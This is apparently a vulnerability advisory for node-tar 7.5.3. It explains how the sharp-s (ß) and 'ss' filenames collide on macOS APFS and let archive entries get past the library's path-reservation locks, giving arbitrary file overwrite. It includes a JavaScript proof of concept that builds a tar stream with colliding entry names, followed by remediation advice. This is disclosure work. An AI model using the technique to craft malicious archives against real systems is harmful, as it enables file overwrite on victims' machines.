Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS

**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS **AUTHOR**: Tomás Illuminati ### Details A race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `ß` and `ss`), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. ```typescript // node-tar/src/path-reservations.ts (Lines 53-62) reserve(paths: string[], fn: Handler) { paths = isWindows ? ['win32 parallelization disabled'] : paths.map(p => { return stripTrailingSlashes( join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS ).toLowerCase() }) ``` In MacOS the ```join(normalizeUnicode(p)), ``` FS confuses ß with ss, but this code does not. For example: ``````bash bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss bash-3.2$ ls collision_test_ss bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß bash-3.2$ ls -la total 8 drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 . drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 .. -rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss bash-3.2$ `````` --- ### PoC ``````javascript const tar = require('tar'); const fs = require('fs'); const path = require('path'); const { PassThrough } = require('stream'); const exploitDir = path.resolve('race_exploit_dir'); if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true }); fs.mkdirSync(exploitDir); console.log('[*] Testing...'); console.log(`[*] Extraction target: ${exploitDir}`); // Construct stream const stream = new PassThrough(); const contentA = 'A'.repeat(1000); const contentB = 'B'.repeat(1000); // Key 1: "f_ss" const header1 = new tar.Header({ path: 'collision_ss', mode: 0o644, size: contentA.length, }); header1.encode(); // Key 2: "f_ß" const header2 = new tar.Header({ path: 'collision_ß', mode: 0o644, size: contentB.length, }); header2.encode(); // Write to stream stream.write(header1.block); stream.write(contentA); stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding stream.write(header2.block); stream.write(contentB); stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding // End stream.write(Buffer.alloc(1024)); stream.end(); // Extract const extract = new tar.Unpack({ cwd: exploitDir, // Ensure jobs is high enough to allow parallel processing if locks fail jobs: 8 }); stream.pipe(extract); extract.on('end', () => { console.log('[*] Extraction complete'); // Check what exists const files = fs.readdirSync(exploitDir); console.log('[*] Files in exploit dir:', files); files.forEach(f => { const p = path.join(exploitDir, f); const stat = fs.statSync(p); const content = fs.readFileSync(p, 'utf8'); console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`); }); if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) { console.log('\[*] GOOD'); } else { console.log('[-] No collision'); } }); `````` --- ### Impact This is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `ß` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `ß` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive. --- ### Remediation Update `path-reservations.js` to use a normalization form that matches the target filesystem's behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase('en')` and then `toLocaleUpperCase('en')`. Users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue. ---